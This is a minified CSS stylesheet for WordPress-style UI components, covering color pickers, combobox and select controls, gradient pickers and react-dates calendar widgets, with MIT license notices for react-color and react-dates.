.components-checkbox-control__input[type=checkbox]:checked::before { content: none; } .components-checkbox-control__input-container { position: relative; display: inline-block; margin-right: 12px; vertical-align: middle; width: 24px; height: 24px; } @media (min-width: 600px) { .components-checkbox-control__input-container { width: 20px; height: 20px; } } svg.components-checkbox-control__checked { fill: #fff; cursor: pointer; position: absolute; left: 0; top: 0; width: 24px; height: 24px; -webkit-user-select: none; -ms-user-select: none; user-select: none; pointer-events: none; } @media (min-width: 600px) { svg.components-checkbox-control__checked { left: -2px; top: -2px; } } .components-circular-option-picker { display: inline-block; width: 100%; min-width: 188px; } .components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper { display: flex; justify-content: flex-end; } .components-circular-option-picker .components-circular-option-picker__swatches { margin-right: -12px; } .components-circular-option-picker__option-wrapper { display: inline-block; height: 28px; width: 28px; margin-right: 12px; margin-bottom: 12px; vertical-align: top; transform: scale(1); transition: 100ms transform ease; } @media (prefers-reduced-motion: reduce) { .components-circular-option-picker__option-wrapper { transition-duration: 0s; } } .components-circular-option-picker__option-wrapper:hover { transform: scale(1.2); } .components-circular-option-picker__option-wrapper > div { height: 100%; width: 100%; } .components-circular-option-picker__option-wrapper::before { content: ""; position: absolute; top: 1px; left: 1px; bottom: 1px; right: 1px; border-radius: 50%; z-index: -1; /* stylelint-disable-next-line function-url-quotes */ background: url('data:image/svg+xml,%3Csvg width="28" height="28" fill="none" xmlns="http://www.w3.org/2000/svg"%3E%3Cpath d="M6 8V6H4v2h2zM8 8V6h2v2H8zM10 16H8v-2h2v2zM12 16v-2h2v2h-2zM12 18v-2h-2v2H8v2h2v-2h2zM14 18v2h-2v-2h2zM16 18h-2v-2h2v2z" fill="%23555D65"/%3E%3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2v2zm-2-4v-2h2v2h-2z" fill="%23555D65"/%3E%3Cpath d="M18 18v2h-2v-2h2z" fill="%23555D65"/%3E%3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2H8zm0 2v-2H6v2h2zm2 0v-2h2v2h-2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2h-2z" fill="%23555D65"/%3E%3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4V0zm0 4V2H2v2h2zm2 0V2h2v2H6zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2H6z" fill="%23555D65"/%3E%3C/svg%3E'); } .components-circular-option-picker__option { display: inline-block; vertical-align: top; height: 100%; width: 100%; border: none; border-radius: 50%; background: transparent; box-shadow: inset 0 0 0 14px; transition: 100ms box-shadow ease; cursor: pointer; } @media (prefers-reduced-motion: reduce) { .components-circular-option-picker__option { transition-duration: 0s; } } .components-circular-option-picker__option:hover { box-shadow: inset 0 0 0 14px !important; } .components-circular-option-picker__option.is-pressed { box-shadow: inset 0 0 0 4px; position: relative; z-index: 1; overflow: visible; } .components-circular-option-picker__option.is-pressed + svg { position: absolute; left: 2px; top: 2px; border-radius: 50%; z-index: 2; pointer-events: none; } .components-circular-option-picker__option::after { content: ""; position: absolute; top: -1px; left: -1px; bottom: -1px; right: -1px; border-radius: 50%; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2); border: 1px solid transparent; } .components-circular-option-picker__option:focus::after { content: ""; border: 2px solid #757575; width: 32px; height: 32px; position: absolute; top: -2px; left: -2px; border-radius: 50%; box-shadow: inset 0 0 0 2px #fff; } .components-circular-option-picker__option.components-button:focus { background-color: transparent; box-shadow: inset 0 0 0 14px; outline: none; } .components-circular-option-picker__button-action .components-circular-option-picker__option { color: #fff; background: #fff; } .components-circular-option-picker__dropdown-link-action { margin-right: 16px; } .components-circular-option-picker__dropdown-link-action .components-button { line-height: 22px; } .components-color-edit__color-option-main-area { display: flex; align-items: center; } .components-color-edit__color-option-main-area div.components-circular-option-picker__option-wrapper { display: block; margin: 8px; } .components-color-edit__color-option.is-hover { background: #e0e0e0; } .components-color-edit__cancel-button { float: right; } .components-color-edit__color-option-color-name { width: 100%; } .components-color-edit__label-and-insert-container { display: flex; align-items: center; justify-content: space-between; } .components-color-edit__insert-button { margin-top: -8px; } .components-color-edit__hidden-control { position: relative; left: -9999px; } .components-color-edit__color-option-color-name-input .components-base-control__field { margin-bottom: 0; margin-right: 8px; } .components-color-edit__slug-input { margin-left: 8px; } .components-color-edit__reset-button { float: right; } .component-color-indicator { width: 25px; height: 16px; margin-left: 0.8rem; border: 1px solid #dadada; display: inline-block; } .component-color-indicator + .component-color-indicator { margin-left: 0.5rem; } /** * Parts of this source were derived and modified from react-color, * released under the MIT license. * * https://github.com/casesandberg/react-color/ * * Copyright (c) 2015 Case Sandberg * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ .components-color-picker { width: 100%; } .components-color-picker * { box-sizing: border-box; } .components-color-picker__saturation { width: 100%; padding-bottom: 55%; position: relative; } .components-color-picker__body { padding: 16px 16px 12px; } .components-color-picker__controls { display: flex; } .components-color-picker__saturation-pointer, .components-color-picker__hue-pointer, .components-color-picker__alpha-pointer { padding: 0; position: absolute; cursor: pointer; box-shadow: none; border: none; } /* CURRENT COLOR COMPONENT */ .components-color-picker__swatch { margin-right: 8px; width: 32px; height: 32px; border-radius: 50%; position: relative; overflow: hidden; background-image: linear-gradient(45deg, #ddd 25%, transparent 25%), linear-gradient(-45deg, #ddd 25%, transparent 25%), linear-gradient(45deg, transparent 75%, #ddd 75%), linear-gradient(-45deg, transparent 75%, #ddd 75%); background-size: 10px 10px; background-position: 0 0, 0 5px, 5px -5px, -5px 0; } .is-alpha-disabled .components-color-picker__swatch { width: 12px; height: 12px; margin-top: 0; } .components-color-picker__active { position: absolute; top: 0; left: 0; right: 0; bottom: 0; border-radius: 50%; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1); z-index: 2; } /* SATURATION COMPONENT */ .components-color-picker__saturation-color, .components-color-picker__saturation-white, .components-color-picker__saturation-black { position: absolute; top: 0; left: 0; right: 0; bottom: 0; } .components-color-picker__saturation-color { overflow: visible; } .components-color-picker__saturation-white { /*rtl:ignore*/ background: linear-gradient(to right, #fff, rgba(255, 255, 255, 0)); } .components-color-picker__saturation-black { background: linear-gradient(to top, #000, rgba(0, 0, 0, 0)); } .components-button.components-color-picker__saturation-pointer { width: 14px; height: 14px; padding: 0; border-radius: 50%; background-color: transparent; transform: translate(-50%, -50%); box-shadow: 0 0 0 1px #fff, inset 0 0 0 1px #000, 0 0 0 2px #000; } .components-button.components-color-picker__saturation-pointer:focus:not(:disabled) { box-shadow: 0 0 0 2px #fff, inset 0 0 0 1px #000, 0 0 0 3px #000; } /* HUE & ALPHA BARS */ .components-color-picker__toggles { flex: 1; } .components-color-picker__alpha { background-image: linear-gradient(45deg, #ddd 25%, transparent 25%), linear-gradient(-45deg, #ddd 25%, transparent 25%), linear-gradient(45deg, transparent 75%, #ddd 75%), linear-gradient(-45deg, transparent 75%, #ddd 75%); background-size: 10px 10px; background-position: 0 0, 0 5px, 5px -5px, -5px 0; } .components-color-picker__hue-gradient, .components-color-picker__alpha-gradient { position: absolute; top: 0; left: 0; right: 0; bottom: 0; } .components-color-picker__hue, .components-color-picker__alpha { height: 12px; position: relative; } .is-alpha-enabled .components-color-picker__hue { margin-bottom: 8px; } .components-color-picker__hue-bar, .components-color-picker__alpha-bar { position: relative; margin: 0 3px; height: 100%; padding: 0 2px; } .components-color-picker__hue-gradient { /*rtl:ignore*/ background: linear-gradient(to right, #f00 0%, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%); } .components-color-picker__hue-pointer, .components-color-picker__alpha-pointer { /*rtl:ignore*/ left: 0; width: 14px; height: 14px; border-radius: 50%; box-shadow: 0 1px 4px 0 rgba(0, 0, 0, 0.37); background: #fff; transform: translate(-7px, -1px); } .components-color-picker__hue-pointer, .components-color-picker__saturation-pointer { transition: box-shadow 0.1s linear; } @media (prefers-reduced-motion: reduce) { .components-color-picker__hue-pointer, .components-color-picker__saturation-pointer { transition-duration: 0s; } } .components-color-picker__saturation-pointer:focus { box-shadow: 0 0 0 2px #fff, 0 0 0 4px #007cba, 0 0 5px 0 #007cba, inset 0 0 1px 1px rgba(0, 0, 0, 0.3), 0 0 1px 2px rgba(0, 0, 0, 0.4); box-shadow: 0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color), 0 0 5px 0 var(--wp-admin-theme-color), inset 0 0 1px 1px rgba(0, 0, 0, 0.3), 0 0 1px 2px rgba(0, 0, 0, 0.4); } .components-color-picker__hue-pointer:focus, .components-color-picker__alpha-pointer:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 2px #007cba, 0 0 3px 0 #007cba; box-shadow: 0 0 0 2px var(--wp-admin-theme-color), 0 0 3px 0 var(--wp-admin-theme-color); outline: 2px solid transparent; outline-offset: -2px; } /* INPUTS COMPONENT */ .components-color-picker__inputs-wrapper { margin: 0 -4px; padding-top: 16px; display: flex; align-items: flex-end; min-width: 255px; } .components-color-picker__inputs-wrapper fieldset { flex: 1; border: none; margin: 0; padding: 0; } .components-color-picker__inputs-wrapper .components-color-picker__inputs-fields .components-text-control__input[type=number] { padding: 6px 3px; margin: 0; } .components-color-picker__inputs-field { width: 100%; } .components-color-picker__inputs-fields { display: flex; /*rtl:ignore*/ direction: ltr; flex-grow: 1; margin-right: 4px; } .components-color-picker__inputs-fields .components-base-control + .components-base-control { margin-top: 0; } .components-color-picker__inputs-fields .components-base-control__field { margin: 0 2px; } .components-color-picker__inputs-toggle { height: 30px; padding: 0 5px; } .components-combobox-control { width: 100%; } input.components-combobox-control__input[type=text] { width: 100%; border: none; box-shadow: none; font-size: 16px; padding: 2px; margin: 0; line-height: inherit; min-height: auto; } @media (min-width: 600px) { input.components-combobox-control__input[type=text] { font-size: 13px; } } input.components-combobox-control__input[type=text]:focus { outline: none; box-shadow: none; } .components-combobox-control__suggestions-container { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; display: flex; flex-wrap: wrap; align-items: flex-start; width: 100%; margin: 0 0 8px 0; padding: 4px; } @media (prefers-reduced-motion: reduce) { .components-combobox-control__suggestions-container { transition-duration: 0s; } } @media (min-width: 600px) { .components-combobox-control__suggestions-container { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .components-combobox-control__suggestions-container:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-combobox-control__suggestions-container::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .components-combobox-control__suggestions-container::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .components-combobox-control__suggestions-container:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .components-combobox-control__suggestions-container::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-combobox-control__suggestions-container::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .components-combobox-control__suggestions-container:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .components-combobox-control__suggestions-container:focus-within { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .components-combobox-control__reset.components-button { display: flex; height: 24px; min-width: 24px; padding: 0; } .components-custom-gradient-picker__gradient-bar:not(.has-gradient) { opacity: 0.4; } .components-custom-gradient-picker__gradient-bar { margin-top: 12px; width: 100%; height: 36px; border-radius: 36px; margin-bottom: 12px; padding-left: 6px; padding-right: 30px; } .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container { position: relative; } .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point { border-radius: 50%; background: #fff; padding: 2px; top: 6px; min-width: 24px; width: 24px; height: 24px; position: relative; color: #1e1e1e; } .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point svg { height: 100%; width: 100%; } .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button { border: 2px solid transparent; box-shadow: inset 0 0 0 2px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) #fff; border-radius: 50%; height: 24px; width: 24px; padding: 0; position: absolute; top: 6px; } .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus, .components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #1e1e1e; } .components-custom-gradient-picker__color-picker-popover .components-custom-gradient-picker__remove-control-point { margin-left: auto; margin-right: auto; display: block; margin-bottom: 8px; } .components-custom-gradient-picker__inserter { width: 100%; } .components-custom-gradient-picker__liner-gradient-indicator { display: inline-block; flex: 0 auto; width: 20px; height: 20px; } .components-custom-gradient-picker .components-custom-gradient-picker__ui-line { margin-bottom: 16px; } .components-custom-gradient-picker .components-custom-gradient-picker__ui-line .components-base-control.components-angle-picker, .components-custom-gradient-picker .components-custom-gradient-picker__ui-line .components-base-control.components-custom-gradient-picker__type-picker { margin-bottom: 0; } .components-custom-gradient-picker .components-custom-gradient-picker__toolbar { border: none; } .components-custom-gradient-picker .components-custom-gradient-picker__toolbar > div + div { margin-left: 1px; } .components-custom-gradient-picker .components-custom-gradient-picker__toolbar button.is-pressed > svg { background: #fff; border: 1px solid #949494; border-radius: 2px; } .components-custom-select-control { position: relative; } .components-custom-select-control__label { display: block; margin-bottom: 8px; } .components-custom-select-control__button { border: 1px solid #757575; border-radius: 2px; min-height: 30px; min-width: 130px; position: relative; text-align: left; } .components-custom-select-control__button.components-custom-select-control__button { padding-right: 24px; } .components-custom-select-control__button:focus:not(:disabled) { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); } .components-custom-select-control__button .components-custom-select-control__button-icon { height: 100%; padding: 0; position: absolute; right: 0; top: 0; } .components-custom-select-control__menu { border: 1px solid #1e1e1e; background-color: #fff; border-radius: 2px; outline: none; transition: none; max-height: 400px; min-width: 100%; overflow: auto; padding: 0; position: absolute; z-index: 1000000; } .components-custom-select-control__menu[aria-hidden=true] { display: none; } .components-custom-select-control__item { align-items: center; display: flex; list-style-type: none; padding: 8px; cursor: default; line-height: 28px; } .components-custom-select-control__item.is-highlighted { background: #ddd; } .components-custom-select-control__item .components-custom-select-control__item-icon { margin-right: 0; margin-left: auto; } .components-custom-select-control__item:last-child { margin-bottom: 0; } /** * Parts of this source were derived and modified from react-dates, * released under the MIT license. * * https://github.com/airbnb/react-dates * * The MIT License (MIT) * * Copyright (c) 2016 Airbnb * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ /*rtl:begin:ignore*/ .PresetDateRangePicker_panel { padding: 0 22px 11px; } .PresetDateRangePicker_button { position: relative; height: 100%; text-align: center; background: 0 0; border: 2px solid #00a699; color: #00a699; padding: 4px 12px; margin-right: 8px; font: inherit; font-weight: 700; line-height: normal; overflow: visible; box-sizing: border-box; cursor: pointer; } .PresetDateRangePicker_button:active { outline: 0; } .PresetDateRangePicker_button__selected { color: #fff; background: #00a699; } .SingleDatePickerInput { display: inline-block; background-color: #fff; } .SingleDatePickerInput__withBorder { border-radius: 2px; border: 1px solid #dbdbdb; } .SingleDatePickerInput__rtl { direction: rtl; } .SingleDatePickerInput__disabled { background-color: #f2f2f2; } .SingleDatePickerInput__block { display: block; } .SingleDatePickerInput__showClearDate { padding-right: 30px; } .SingleDatePickerInput_clearDate { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; padding: 10px; margin: 0 10px 0 5px; position: absolute; right: 0; top: 50%; transform: translateY(-50%); } .SingleDatePickerInput_clearDate__default:focus, .SingleDatePickerInput_clearDate__default:hover { background: #dbdbdb; border-radius: 50%; } .SingleDatePickerInput_clearDate__small { padding: 6px; } .SingleDatePickerInput_clearDate__hide { visibility: hidden; } .SingleDatePickerInput_clearDate_svg { fill: #82888a; height: 12px; width: 15px; vertical-align: middle; } .SingleDatePickerInput_clearDate_svg__small { height: 9px; } .SingleDatePickerInput_calendarIcon { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; display: inline-block; vertical-align: middle; padding: 10px; margin: 0 5px 0 10px; } .SingleDatePickerInput_calendarIcon_svg { fill: #82888a; height: 15px; width: 14px; vertical-align: middle; } .SingleDatePicker { position: relative; display: inline-block; } .SingleDatePicker__block { display: block; } .SingleDatePicker_picker { z-index: 1; background-color: #fff; position: absolute; } .SingleDatePicker_picker__rtl { direction: rtl; } .SingleDatePicker_picker__directionLeft { left: 0; } .SingleDatePicker_picker__directionRight { right: 0; } .SingleDatePicker_picker__portal { background-color: rgba(0, 0, 0, 0.3); position: fixed; top: 0; left: 0; height: 100%; width: 100%; } .SingleDatePicker_picker__fullScreenPortal { background-color: #fff; } .SingleDatePicker_closeButton { background: 0 0; border: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; cursor: pointer; position: absolute; top: 0; right: 0; padding: 15px; z-index: 2; } .SingleDatePicker_closeButton:focus, .SingleDatePicker_closeButton:hover { color: #b0b3b4; text-decoration: none; } .SingleDatePicker_closeButton_svg { height: 15px; width: 15px; fill: #cacccd; } .DayPickerKeyboardShortcuts_buttonReset { background: 0 0; border: 0; border-radius: 0; color: inherit; font: inherit; line-height: normal; overflow: visible; padding: 0; cursor: pointer; font-size: 14px; } .DayPickerKeyboardShortcuts_buttonReset:active { outline: 0; } .DayPickerKeyboardShortcuts_show { width: 22px; position: absolute; z-index: 2; } .DayPickerKeyboardShortcuts_show__bottomRight { border-top: 26px solid transparent; border-right: 33px solid #00a699; bottom: 0; right: 0; } .DayPickerKeyboardShortcuts_show__bottomRight:hover { border-right: 33px solid #008489; } .DayPickerKeyboardShortcuts_show__topRight { border-bottom: 26px solid transparent; border-right: 33px solid #00a699; top: 0; right: 0; } .DayPickerKeyboardShortcuts_show__topRight:hover { border-right: 33px solid #008489; } .DayPickerKeyboardShortcuts_show__topLeft { border-bottom: 26px solid transparent; border-left: 33px solid #00a699; top: 0; left: 0; } .DayPickerKeyboardShortcuts_show__topLeft:hover { border-left: 33px solid #008489; } .DayPickerKeyboardShortcuts_showSpan { color: #fff; position: absolute; } .DayPickerKeyboardShortcuts_showSpan__bottomRight { bottom: 0; right: -28px; } .DayPickerKeyboardShortcuts_showSpan__topRight { top: 1px; right: -28px; } .DayPickerKeyboardShortcuts_showSpan__topLeft { top: 1px; left: -28px; } .DayPickerKeyboardShortcuts_panel { overflow: auto; background: #fff; border: 1px solid #dbdbdb; border-radius: 2px; position: absolute; top: 0; bottom: 0; right: 0; left: 0; z-index: 2; padding: 22px; margin: 33px; } .DayPickerKeyboardShortcuts_title { font-size: 16px; font-weight: 700; margin: 0; } .DayPickerKeyboardShortcuts_list { list-style: none; padding: 0; font-size: 14px; } .DayPickerKeyboardShortcuts_close { position: absolute; right: 22px; top: 22px; z-index: 2; } .DayPickerKeyboardShortcuts_close:active { outline: 0; } .DayPickerKeyboardShortcuts_closeSvg { height: 15px; width: 15px; fill: #cacccd; } .DayPickerKeyboardShortcuts_closeSvg:focus, .DayPickerKeyboardShortcuts_closeSvg:hover { fill: #82888a; } .CalendarDay { box-sizing: border-box; cursor: pointer; font-size: 14px; text-align: center; } .CalendarDay:active { outline: 0; } .CalendarDay__defaultCursor { cursor: default; } .CalendarDay__default { border: 1px solid #e4e7e7; color: #484848; background: #fff; } .CalendarDay__default:hover { background: #e4e7e7; border: 1px double #e4e7e7; color: inherit; } .CalendarDay__hovered_offset { background: #f4f5f5; border: 1px double #e4e7e7; color: inherit; } .CalendarDay__outside { border: 0; background: #fff; color: #484848; } .CalendarDay__outside:hover { border: 0; } .CalendarDay__blocked_minimum_nights { background: #fff; border: 1px solid #eceeee; color: #cacccd; } .CalendarDay__blocked_minimum_nights:active, .CalendarDay__blocked_minimum_nights:hover { background: #fff; color: #cacccd; } .CalendarDay__highlighted_calendar { background: #ffe8bc; color: #484848; } .CalendarDay__highlighted_calendar:active, .CalendarDay__highlighted_calendar:hover { background: #ffce71; color: #484848; } .CalendarDay__selected_span { background: #66e2da; border: 1px solid #33dacd; color: #fff; } .CalendarDay__selected_span:active, .CalendarDay__selected_span:hover { background: #33dacd; border: 1px solid #33dacd; color: #fff; } .CalendarDay__last_in_range { border-right: #00a699; } .CalendarDay__selected, .CalendarDay__selected:active, .CalendarDay__selected:hover { background: #00a699; border: 1px solid #00a699; color: #fff; } .CalendarDay__hovered_span, .CalendarDay__hovered_span:hover { background: #b2f1ec; border: 1px solid #80e8e0; color: #007a87; } .CalendarDay__hovered_span:active { background: #80e8e0; border: 1px solid #80e8e0; color: #007a87; } .CalendarDay__blocked_calendar, .CalendarDay__blocked_calendar:active, .CalendarDay__blocked_calendar:hover { background: #cacccd; border: 1px solid #cacccd; color: #82888a; } .CalendarDay__blocked_out_of_range, .CalendarDay__blocked_out_of_range:active, .CalendarDay__blocked_out_of_range:hover { background: #fff; border: 1px solid #e4e7e7; color: #cacccd; } .CalendarMonth { background: #fff; text-align: center; vertical-align: top; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .CalendarMonth_table { border-collapse: collapse; border-spacing: 0; } .CalendarMonth_verticalSpacing { border-collapse: separate; } .CalendarMonth_caption { color: #484848; font-size: 18px; text-align: center; padding-top: 22px; padding-bottom: 37px; caption-side: initial; } .CalendarMonth_caption__verticalScrollable { padding-top: 12px; padding-bottom: 7px; } .CalendarMonthGrid { background: #fff; text-align: left; z-index: 0; } .CalendarMonthGrid__animating { z-index: 1; } .CalendarMonthGrid__horizontal { position: absolute; left: 0; } .CalendarMonthGrid__vertical { margin: 0 auto; } .CalendarMonthGrid__vertical_scrollable { margin: 0 auto; overflow-y: scroll; } .CalendarMonthGrid_month__horizontal { display: inline-block; vertical-align: top; min-height: 100%; } .CalendarMonthGrid_month__hideForAnimation { position: absolute; z-index: -1; opacity: 0; pointer-events: none; } .CalendarMonthGrid_month__hidden { visibility: hidden; } .DayPickerNavigation { position: relative; z-index: 2; } .DayPickerNavigation__horizontal { height: 0; } .DayPickerNavigation__verticalDefault { position: absolute; width: 100%; height: 52px; bottom: 0; left: 0; } .DayPickerNavigation__verticalScrollableDefault { position: relative; } .DayPickerNavigation_button { cursor: pointer; -webkit-user-select: none; -ms-user-select: none; user-select: none; border: 0; padding: 0; margin: 0; } .DayPickerNavigation_button__default { border: 1px solid #e4e7e7; background-color: #fff; color: #757575; } .DayPickerNavigation_button__default:focus, .DayPickerNavigation_button__default:hover { border: 1px solid #c4c4c4; } .DayPickerNavigation_button__default:active { background: #f2f2f2; } .DayPickerNavigation_button__horizontalDefault { position: absolute; top: 18px; line-height: 0.78; border-radius: 3px; padding: 6px 9px; } .DayPickerNavigation_leftButton__horizontalDefault { left: 22px; } .DayPickerNavigation_rightButton__horizontalDefault { right: 22px; } .DayPickerNavigation_button__verticalDefault { padding: 5px; background: #fff; box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.1); position: relative; display: inline-block; height: 100%; width: 50%; } .DayPickerNavigation_nextButton__verticalDefault { border-left: 0; } .DayPickerNavigation_nextButton__verticalScrollableDefault { width: 100%; } .DayPickerNavigation_svg__horizontal { height: 19px; width: 19px; fill: #82888a; display: block; } .DayPickerNavigation_svg__vertical { height: 42px; width: 42px; fill: #484848; display: block; } .DayPicker { background: #fff; position: relative; text-align: left; } .DayPicker__horizontal { background: #fff; } .DayPicker__verticalScrollable { height: 100%; } .DayPicker__hidden { visibility: hidden; } .DayPicker__withBorder { box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05), 0 0 0 1px rgba(0, 0, 0, 0.07); border-radius: 3px; } .DayPicker_portal__horizontal { box-shadow: none; position: absolute; left: 50%; top: 50%; } .DayPicker_portal__vertical { position: initial; } .DayPicker_focusRegion { outline: 0; } .DayPicker_calendarInfo__horizontal, .DayPicker_wrapper__horizontal { display: inline-block; vertical-align: top; } .DayPicker_weekHeaders { position: relative; } .DayPicker_weekHeaders__horizontal { margin-left: 13px; } .DayPicker_weekHeader { color: #757575; position: absolute; top: 62px; z-index: 2; text-align: left; padding: 0 !important; } .DayPicker_weekHeader__vertical { left: 50%; } .DayPicker_weekHeader__verticalScrollable { top: 0; display: table-row; border-bottom: 1px solid #dbdbdb; background: #fff; margin-left: 0; left: 0; width: 100%; text-align: center; } .DayPicker_weekHeader_ul { list-style: none; margin: 1px 0; padding-left: 0; padding-right: 0; font-size: 14px; } .DayPicker_weekHeader_li { display: inline-block; text-align: center; margin: 0 1px; } .DayPicker_transitionContainer { position: relative; overflow: hidden; border-radius: 3px; } .DayPicker_transitionContainer__horizontal { transition: height 0.2s ease-in-out; } .DayPicker_transitionContainer__vertical { width: 100%; } .DayPicker_transitionContainer__verticalScrollable { padding-top: 20px; height: 100%; position: absolute; top: 0; bottom: 0; right: 0; left: 0; overflow-y: scroll; } .DateInput { margin: 0; padding: 0; background: #fff; position: relative; display: inline-block; width: 130px; vertical-align: middle; } .DateInput__small { width: 97px; } .DateInput__block { width: 100%; } .DateInput__disabled { background: #f2f2f2; color: #dbdbdb; } .DateInput_input { font-weight: 200; font-size: 19px; line-height: 24px; color: #484848; background-color: #fff; width: 100%; padding: 11px 11px 9px; border: 0; border-top: 0; border-right: 0; border-bottom: 2px solid transparent; border-left: 0; border-radius: 0; } .DateInput_input__small { font-size: 15px; line-height: 18px; letter-spacing: 0.2px; padding: 7px 7px 5px; } .DateInput_input__regular { font-weight: auto; } .DateInput_input__readOnly { -webkit-user-select: none; -ms-user-select: none; user-select: none; } .DateInput_input__focused { outline: 0; background: #fff; border: 0; border-top: 0; border-right: 0; border-bottom: 2px solid #008489; border-left: 0; } .DateInput_input__disabled { background: #f2f2f2; font-style: italic; } .DateInput_screenReaderMessage { border: 0; clip: rect(0, 0, 0, 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } .DateInput_fang { position: absolute; width: 20px; height: 10px; left: 22px; z-index: 2; } .DateInput_fangShape { fill: #fff; } 